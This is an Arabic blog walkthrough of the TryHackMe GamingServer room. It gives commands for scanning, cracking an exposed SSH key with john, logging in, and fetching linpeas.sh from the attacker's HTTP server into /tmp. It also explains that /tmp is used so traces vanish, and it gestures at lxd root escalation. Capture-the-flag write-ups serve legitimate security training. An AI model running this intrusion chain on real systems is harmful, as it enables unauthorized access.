Search 🔎🖥️

TryHackMe|GamingServer WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:


رابط التحدي: https://tryhackme.com/r/room/gamingserver

=============================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا بورت 22 و 80، نرجع نسوي Aggressive سكان على نفس هذه البورتات

sudo nmap IP -vv -A -p 80,22

بورت 22 عليها SSH والجهاز هو Ubuntu Linux، وعلى بورت 80 عندنا Apache server

بما إن البورت 80 عليها web server، بنسوي directory enumeration  باستخدام gobuster

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64

طلع معانا مجموعة من المسارات، المُلفت فيها هو secret و uploads و robots.txt، فبنزورها الثلاثة على المتصفح.

أول شيء بنروح للصفحة الرئيسية للموقع، وبنلاحظ إن الموقع كأنه موقع للعبة، والصفحة فيها نص lorem ipsum وهو نص ماله معنى يستخدم في ملء الفراغات. لكن لو شفنا الـsource code، في أسفل الصفحة بنلقى ملاحظة 


بداية الملاحظة مكتوب اسم john، وفي الـCTF أي اسم نلقاه بالعادة يكون اسم مستخدم على النظام، فأفضل إننا نسجلها دائما في الملاحظات ونرجع لها إذا سوينا bruteforce أو أي عملية ثانية نستفيد من أسماء المستخدمين فيها. 

إذا زرنا الـrobots مافيه أي مجلد ممنوع وصول المتصفحات له. بعد كذا نشوف uploads وفي 3 ملفات، صورة وملف نصي وdictionary. 

أما المسار الأخير secret فموجود فيه مفتاح SSH، يعني باختصار أعطاني مفتاح الدخول على جهاز الضحية، على طبق من ذهب، وأنا برضو أعرف إنه على الغالب بيكون لـjohn، فناخذ هذا المفتاح، ننسخه ونحطه في ملف نصي عندنا ثم نحفظه بأي اسم مثلا key، ثم نغير صلاحياته عشان يشتغل تمام chmod 400 key، بعد كذا نفك عنه التشفير باستخدام الأداة john the ripper بالطريقة التالية:

ssh2john key > hash

john hash

وبيعطينا كلمة السر، الحين كل شيء جاهز عندنا عشان نقدر نتصل بالضحية

ssh john@IP -i key

ثم بيطلب كلمة السر للـkey ندخلها وبعد كذا بندخل على الضحية على الـhome directory لجون، لو عرضنا الملفات ls بنلقى user.txt، نعرضه وبكذا يكون حصلنا على أول فلاق ✨. 

آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير

python3 -m http.server

وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

wget http://OpenVPN-IP:8000/linpeas.sh

ثم نغير صلاحياته لملف تشغيلي 

chmod +x linpeas.sh

ثم نشغله 

./linpeas.sh

مجرد ما يشتغل بيطلع لي نص بالأحمر وخلفيته صفراء وهذا يعني إن فيه احتمالية %95 رفع صلاحيات باستخدام lxd


وأنا قد شرحت بالتفصيل كيف نسويها في تحدي HA Joker على هذه البلوق. بعد ما تطبقون الخطوات اللي مشروحة هناك، بتحصلون على root shell

**lxd هو نوع من أنواع الـContainers وشرحته بالتفصيل على قناتي في هذا الفيديو من الدقيقة 18:40 إلى 26:10 إذا حابين ارجعوا لها.

الحين بما إن عندنا root shell نروح ناخذ آخر فلاق

cd /mnt/root

كذا يكون وصلنا لملفات الهوست، بعدين 

cd root

ls 

وبنلاقي آخر فلاق 


cat root.txt 

وبكذا يكون حصلنا على آخر فلاق✨ وانتهينا من حل التحدي.

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)